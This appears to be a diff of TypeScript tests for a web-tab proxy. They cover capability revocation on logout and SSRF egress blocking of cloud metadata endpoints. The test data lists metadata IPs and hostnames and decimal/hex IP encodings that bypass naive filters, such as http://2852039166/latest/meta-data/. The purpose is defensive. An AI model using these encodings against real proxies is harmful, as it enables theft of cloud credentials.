it('revokes exactly the identity asked for, the single-user `undefined` identity included', () => {
const store = new WebviewCapabilityStore();
const solo = store.mint('wv-solo', undefined);
const alice = store.mint('wv-alice', 'alice');
const bob = store.mint('wv-bob', 'bob');
expect(store.revokeOwner('alice')).toBe(1);
expect(store.resolve(alice)).toBeUndefined();
expect(store.resolve(bob)).toBeDefined();
expect(store.resolve(solo)).toBeDefined();
expect(store.revokeOwner(undefined)).toBe(1);
expect(store.resolve(solo)).toBeUndefined();
expect(store.resolve(bob)).toBeDefined();
// A later open mints a NEW token rather than resurrecting the revoked one.
expect(store.mint('wv-alice', 'alice')).not.toBe(alice);
expect(store.revokeOwner('nobody')).toBe(0);
store.dispose();
});
});
describe('POST /api/logout', () => {
let harness: RouteTestHarness;
beforeAll(async () => {
harness = await createRouteTestHarness(registerSessionRoutes);
});
afterAll(async () => {
await harness.app.close();
});
it('single-user: every outstanding capability dies with the login', async () => {
const cap = webviewCapabilities.mint('wv-logout-solo', undefined);
expect(webviewCapabilities.resolve(cap)).toBeDefined();
const res = await harness.app.inject({ method: 'POST', url: '/api/logout' });
expect(res.statusCode).toBe(200);
expect(webviewCapabilities.resolve(cap)).toBeUndefined();
});
});
describe('POST /api/logout in multi-user mode', () => {
let harness: RouteTestHarness;
let savedMode: string | undefined;
beforeAll(async () => {
savedMode = process.env.CODEMAN_MULTIUSER;
process.env.CODEMAN_MULTIUSER = '1';
harness = await createRouteTestHarness(registerSessionRoutes, { authUser: { username: 'peon', role: 'user' } });
});
afterAll(async () => {
await harness.app.close();
if (savedMode === undefined) delete process.env.CODEMAN_MULTIUSER;
else process.env.CODEMAN_MULTIUSER = savedMode;
});
it("revokes only the caller's capabilities, never another user's", async () => {
const mine = webviewCapabilities.mint('wv-peon-own', 'peon');
const theirs = webviewCapabilities.mint('wv-boss-own', 'boss');
const res = await harness.app.inject({ method: 'POST', url: '/api/logout' });
expect(res.statusCode).toBe(200);
expect(webviewCapabilities.resolve(mine)).toBeUndefined();
expect(webviewCapabilities.resolve(theirs)).toBeDefined();
webviewCapabilities.revokeWebview('wv-boss-own');
});
});
describe('admin routes (multi-user)', () => {
let harness: RouteTestHarness;
let savedMode: string | undefined;
// The temp HOME from test/setup.ts is per-FILE, so users.json persists across
// the tests in this block.
beforeAll(async () => {
savedMode = process.env.CODEMAN_MULTIUSER;
process.env.CODEMAN_MULTIUSER = '1';
invalidateUsersCache();
await createUser({ username: 'boss', role: 'admin', password: PASSWORD });
await createUser({ username: 'peon', role: 'user', password: PASSWORD });
harness = await createRouteTestHarness(registerAdminRoutes, { authUser: { username: 'boss', role: 'admin' } });
});
afterAll(async () => {
await harness.app.close();
if (savedMode === undefined) delete process.env.CODEMAN_MULTIUSER;
else process.env.CODEMAN_MULTIUSER = savedMode;
invalidateUsersCache();
});
it('a forced logout revokes the target user (normalised) and leaves the admin alone', async () => {
const peon = webviewCapabilities.mint('wv-peon-forced', 'peon');
const boss = webviewCapabilities.mint('wv-boss-forced', 'boss');
const res = await harness.app.inject({ method: 'POST', url: '/api/admin/users/PEON/logout' });
expect(res.statusCode).toBe(200);
expect(webviewCapabilities.resolve(peon)).toBeUndefined();
expect(webviewCapabilities.resolve(boss)).toBeDefined();
webviewCapabilities.revokeWebview('wv-boss-forced');
});
it('deleting a user revokes whatever that user had open', async () => {
const peon = webviewCapabilities.mint('wv-peon-deleted', 'peon');
const res = await harness.app.inject({ method: 'DELETE', url: '/api/admin/users/peon' });
expect(res.statusCode).toBe(200);
expect(webviewCapabilities.resolve(peon)).toBeUndefined();
});
});
+98
View File
@@ -0,0 +1,98 @@
/**
* Egress policy for the web-tab proxy (src/web/webview-egress-policy.ts).
*
* The proxy reaches whatever the server can reach ON PURPOSE (a localhost
* Grafana is the documented use case), so this policy blocks only the ranges no
* dashboard lives in and a cloud credential does: link-local and the fixed
* metadata endpoints. Both halves are pinned: what is refused, and what must
* stay allowed so the feature keeps working.
*/
import { describe, it, expect } from 'vitest';
import {
blockedWebviewHostReason,
isBlockedEgressAddress,
isBlockedWebviewUrl,
} from '../src/web/webview-egress-policy.js';
describe('isBlockedEgressAddress', () => {
it('blocks the IPv4 link-local range, which every major cloud puts IMDS in', () => {
expect(isBlockedEgressAddress('169.254.169.254')).toBe(true);
expect(isBlockedEgressAddress('169.254.0.23')).toBe(true); // Tencent metadata
expect(isBlockedEgressAddress('169.254.255.255')).toBe(true);
});
it('blocks the fixed metadata endpoints outside link-local', () => {
expect(isBlockedEgressAddress('168.63.129.16')).toBe(true); // Azure WireServer
expect(isBlockedEgressAddress('100.100.100.200')).toBe(true); // Alibaba Cloud
});
it('blocks IPv6 link-local and the AWS IMDS IPv6 endpoint in every spelling', () => {
expect(isBlockedEgressAddress('fe80::1')).toBe(true);
expect(isBlockedEgressAddress('FE80::1%eth0')).toBe(true);
expect(isBlockedEgressAddress('febf:ffff::1')).toBe(true);
expect(isBlockedEgressAddress('fd00:ec2::254')).toBe(true);
expect(isBlockedEgressAddress('fd00:0ec2:0000:0000:0000:0000:0000:0254')).toBe(true);
});
it('judges the embedded IPv4 of a mapped address, dotted or hex', () => {
expect(isBlockedEgressAddress('::ffff:169.254.169.254')).toBe(true);
expect(isBlockedEgressAddress('::ffff:a9fe:a9fe')).toBe(true); // URL.hostname's form
expect(isBlockedEgressAddress('::ffff:127.0.0.1')).toBe(false);
expect(isBlockedEgressAddress('::ffff:7f00:1')).toBe(false);
});
it('ALLOWS loopback and private ranges: localhost dashboards are the feature', () => {
expect(isBlockedEgressAddress('127.0.0.1')).toBe(false);
expect(isBlockedEgressAddress('::1')).toBe(false);
expect(isBlockedEgressAddress('10.0.0.5')).toBe(false);
expect(isBlockedEgressAddress('192.168.1.20')).toBe(false);
expect(isBlockedEgressAddress('172.16.0.9')).toBe(false);
expect(isBlockedEgressAddress('100.64.0.1')).toBe(false); // tailnet CGNAT range
expect(isBlockedEgressAddress('fd7a:115c:a1e0::1')).toBe(false); // tailnet ULA
expect(isBlockedEgressAddress('fd00:ec2::255')).toBe(false); // neighbour of the AWS address
});
it('never blocks a name: names are judged by what they resolve to', () => {
expect(isBlockedEgressAddress('metadata.google.internal')).toBe(false);
expect(isBlockedEgressAddress('')).toBe(false);
});
});
describe('blockedWebviewHostReason', () => {
it('accepts URL.hostname forms: bracketed IPv6, trailing dot, mixed case', () => {
expect(blockedWebviewHostReason('[fe80::1]')).toMatch(/link-local/);
expect(blockedWebviewHostReason('[::ffff:a9fe:a9fe]')).toMatch(/link-local/);
expect(blockedWebviewHostReason('METADATA.GOOGLE.INTERNAL.')).toMatch(/metadata hostname/);
expect(blockedWebviewHostReason('[::1]')).toBeNull();
});
it('names the cloud metadata aliases even though they would also fail resolution', () => {
expect(blockedWebviewHostReason('metadata')).not.toBeNull();
expect(blockedWebviewHostReason('instance-data')).not.toBeNull();
expect(blockedWebviewHostReason('metadata.example.com')).toBeNull();
expect(blockedWebviewHostReason('grafana.internal')).toBeNull();
});
});
describe('isBlockedWebviewUrl (schema refine)', () => {
it('sees through the URL normalisations an attacker would lean on', () => {
// Decimal and hex hosts normalise to dotted quads inside `new URL`.
expect(isBlockedWebviewUrl('http://2852039166/latest/meta-data/')).toBe(true); // 169.254.169.254
expect(isBlockedWebviewUrl('http://0xa9fea9fe/')).toBe(true);
expect(isBlockedWebviewUrl('http://169.254.169.254:80/')).toBe(true);
expect(isBlockedWebviewUrl('http://[fd00:ec2::254]/')).toBe(true);
expect(isBlockedWebviewUrl('http://metadata.google.internal/computeMetadata/v1/')).toBe(true);
});
it('leaves every documented dashboard shape alone', () => {
expect(isBlockedWebviewUrl('http://127.0.0.1:4000/grafana/')).toBe(false);
expect(isBlockedWebviewUrl('http://localhost:3080/')).toBe(false);
expect(isBlockedWebviewUrl('https://homeassistant.tailf80371.ts.net/')).toBe(false);
expect(isBlockedWebviewUrl('http://192.168.1.20:9000/')).toBe(false);
});
it("is not the URL-shape check: garbage is someone else's refusal", () => {
expect(isBlockedWebviewUrl('not a url')).toBe(false);
});
});
+154
View File
@@ -0,0 +1,154 @@
/**
* Guarded egress for the web-tab proxy (src/web/webview-egress.ts).
*
* The policy is judged on RESOLVED addresses through a `lookup` hook, because a
* hostname-string check cannot see where `metadata.google.internal`, or an
* attacker's own DNS name, actually points. These tests inject a resolver and
* drive a real undici Agent against a real local HTTP server, so what is pinned
* is that undici honours the hook end-to-end, not that a helper returns a value.
* Port: ephemeral (server.listen(0)).
*/
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
import { createServer, type Server } from 'node:http';
import type { LookupAddress } from 'node:dns';
import { fetch as undiciFetch } from 'undici';
import {
createEgressLookup,
createWebviewDispatcher,
egressBlockedReason,
isEgressBlockedError,
webviewFetch,
WebviewEgressBlockedError,
type EgressLookup,
} from '../src/web/webview-egress.js';
type LookupCallbackArgs = Parameters<Parameters<EgressLookup>[2]>;
const NAMES: Record<string, LookupAddress[]> = {
'dash.test': [{ address: '127.0.0.1', family: 4 }],
'meta.test': [{ address: '169.254.169.254', family: 4 }],
// Happy Eyeballs shape: one fine address and one blocked one.
'mixed.test': [
{ address: '127.0.0.1', family: 4 },
{ address: 'fd00:ec2::254', family: 6 },
],
'nowhere.test': [],
};
const fakeResolve = async (hostname: string): Promise<LookupAddress[]> => {
const found = NAMES[hostname];
if (!found) {
const err: NodeJS.ErrnoException = new Error(`getaddrinfo ENOTFOUND ${hostname}`);
err.code = 'ENOTFOUND';
throw err;
}
return found;
};
function callLookup(hostname: string, options: { all?: boolean }): Promise<LookupCallbackArgs> {
const lookup = createEgressLookup(fakeResolve);
return new Promise((resolve) => lookup(hostname, options, (...args) => resolve(args)));
}
describe('createEgressLookup', () => {
it("answers in net.connect's single-address shape when `all` is not requested", async () => {
const [err, address, family] = await callLookup('dash.test', {});
expect(err).toBeNull();
expect(address).toBe('127.0.0.1');
expect(family).toBe(4);
});
it('answers the array shape autoSelectFamily asks for', async () => {
const [err, addresses] = await callLookup('dash.test', { all: true });
expect(err).toBeNull();
expect(addresses).toEqual([{ address: '127.0.0.1', family: 4 }]);
});
it('refuses a name that resolves into a blocked range, naming both', async () => {
const [err] = await callLookup('meta.test', {});
expect(err).toBeInstanceOf(WebviewEgressBlockedError);
expect(err?.message).toContain('meta.test resolves to 169.254.169.254');
});
it('refuses when ANY resolved address is blocked, not just the first', async () => {
const [err] = await callLookup('mixed.test', { all: true });
expect(err).toBeInstanceOf(WebviewEgressBlockedError);
});
it('passes resolver errors and empty answers through as ordinary DNS failures', async () => {
const [notFound] = await callLookup('unknown.test', {});
expect(notFound?.code).toBe('ENOTFOUND');
expect(isEgressBlockedError(notFound)).toBe(false);
const [empty] = await callLookup('nowhere.test', {});
expect(empty?.code).toBe('ENOTFOUND');
});
});
describe('guarded undici Agent (end-to-end against a local upstream)', () => {
let upstream: Server;
let port: number;
beforeAll(async () => {
upstream = createServer((req, res) => {
res.writeHead(200, { 'content-type': 'text/plain' });
res.end(`served ${req.headers.host ?? ''}`);
});
await new Promise<void>((resolve) => upstream.listen(0, '127.0.0.1', resolve));
port = (upstream.address() as { port: number }).port;
});
afterAll(async () => {
await new Promise<void>((resolve) => upstream.close(() => resolve()));
});
it('connects through the hook: a name resolving to loopback reaches the server', async () => {
const dispatcher = createWebviewDispatcher(createEgressLookup(fakeResolve));
try {
const res = await undiciFetch(`http://dash.test:${port}/`, { dispatcher });
expect(res.status).toBe(200);
expect(await res.text()).toBe(`served dash.test:${port}`);
} finally {
await dispatcher.close();
}
});
it('fails the connect when the name resolves into a blocked range, with the reason as the cause', async () => {
const dispatcher = createWebviewDispatcher(createEgressLookup(fakeResolve));
try {
const attempt = undiciFetch(`http://meta.test:${port}/latest/meta-data/`, { dispatcher });
await expect(attempt).rejects.toThrow();
const err = await attempt.catch((e: unknown) => e);
expect(isEgressBlockedError(err)).toBe(true);
expect(egressBlockedReason(err)).toContain('169.254.169.254');
} finally {
await dispatcher.close();
}
});
});
describe('webviewFetch', () => {
it('refuses a blocked IP literal synchronously, since net.connect never consults lookup for one', async () => {
const attempt = webviewFetch(new URL('http://169.254.169.254/latest/meta-data/'));
await expect(attempt).rejects.toBeInstanceOf(WebviewEgressBlockedError);
const err = await attempt.catch((e: unknown) => e);
expect(egressBlockedReason(err)).toMatch(/169\.254\.169\.254/);
});
it('refuses the bracketed IPv6 and the alias forms the same way', async () => {
await expect(webviewFetch(new URL('http://[fd00:ec2::254]/'))).rejects.toBeInstanceOf(WebviewEgressBlockedError);
await expect(webviewFetch(new URL('http://metadata.google.internal/'))).rejects.toBeInstanceOf(
WebviewEgressBlockedError
);
});
});
describe('egressBlockedReason', () => {
it('walks a cause chain and ignores unrelated errors', () => {
const inner = new WebviewEgressBlockedError('x resolves to 169.254.1.1');
const wrapped = new TypeError('fetch failed', { cause: inner });
expect(egressBlockedReason(wrapped)).toBe(inner.message);
expect(egressBlockedReason(new Error('ECONNREFUSED'))).toBeNull();
expect(egressBlockedReason(undefined)).toBeNull();
});
});
+31
View File
@@ -653,3 +653,34 @@ describe('misc helpers', () => {
expect(proxyPrefixFor(CAP)).toBe(PREFIX);
});
});
describe('referrer policy on proxied responses', () => {
const CAP = 'c'.repeat(32);
const requestUrl = new URL('http://127.0.0.1:4000/');
it('stamps same-origin and drops the upstream policy, so the capability in the URL never reaches a third party', () => {
const { headers } = buildDownstreamResponseHeaders(
[
['referrer-policy', 'unsafe-url'],
['content-type', 'text/html'],
],
[],
CAP,
requestUrl,
false
);
expect(headers['referrer-policy']).toBe('same-origin');
expect(headers['content-type']).toBe('text/html');
});
it('stamps it even when the upstream sent none (the browser default would still leak on a downgrade-style policy)', () => {
const { headers } = buildDownstreamResponseHeaders(
[['content-type', 'application/json']],
[],
CAP,
requestUrl,
false
);
expect(headers['referrer-policy']).toBe('same-origin');
});
});